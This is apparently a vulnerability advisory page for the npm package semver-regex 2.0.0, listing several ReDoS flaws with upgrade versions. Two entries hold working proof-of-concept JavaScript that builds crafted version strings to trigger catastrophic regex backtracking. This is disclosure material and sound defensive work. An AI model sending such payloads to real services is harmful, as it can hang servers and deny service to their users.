semver-regex@2.0.0 vulnerabilities

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper usage of regex in the semverRegex() function.

Upgrade semver-regex to version 3.1.4, 4.0.3 or higher.

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). semverRegex function contains a regex that allows exponential backtracking.

PoC

import semverRegex from 'semver-regex';

// The following payload would take excessive CPU cycles
var payload = '0.0.0-0' + '.-------'.repeat(100000) + '@';
semverRegex().test(payload);

Upgrade semver-regex to version 3.1.3 or higher.

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). This can occur when running the regex on untrusted user input in a server context.

Upgrade semver-regex to version 4.0.1, 3.1.3 or higher.

semver-regex is a Regular expression for matching semver versions

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS).

PoC

// import of the vulnerable library
const semverRegex = require('semver-regex');
// import of measurement tools
const { PerformanceObserver, performance } = require('perf_hooks');

// config of measurements tools
const obs = new PerformanceObserver((items) => {
 console.log(items.getEntries()[0].duration);
 performance.clearMarks();
});
obs.observe({ entryTypes: ['measure'] });

// base version string
let version = "v1.1.3-0a"

// Adding the evil code, resulting in string
// v1.1.3-0aa.aa.aa.aa.aa.aa.a…a.a"
for(let i=0; i < 20; i++) {
   version += "a.a"
}

// produce a good version
// Parses well for the regex in milliseconds
let goodVersion = version + "2"

// good version proof
performance.mark("good before")
const goodresult = semverRegex().test(goodVersion);
performance.mark("good after")


console.log(`Good result: ${goodresult}`)
performance.measure('Good', 'good before', 'good after');

// create a bad/exploit version that is invalid due to the last $ sign
// will cause the nodejs engine to hang, if not, increase the a.a
// additions above a bit.
badVersion = version + "aaaaaaa$"

// exploit proof
performance.mark("bad before")
const badresult = semverRegex().test(badVersion);
performance.mark("bad after")

console.log(`Bad result: ${badresult}`)
performance.measure('Bad', 'bad before', 'bad after');

Upgrade semver-regex to version 3.1.2 or higher.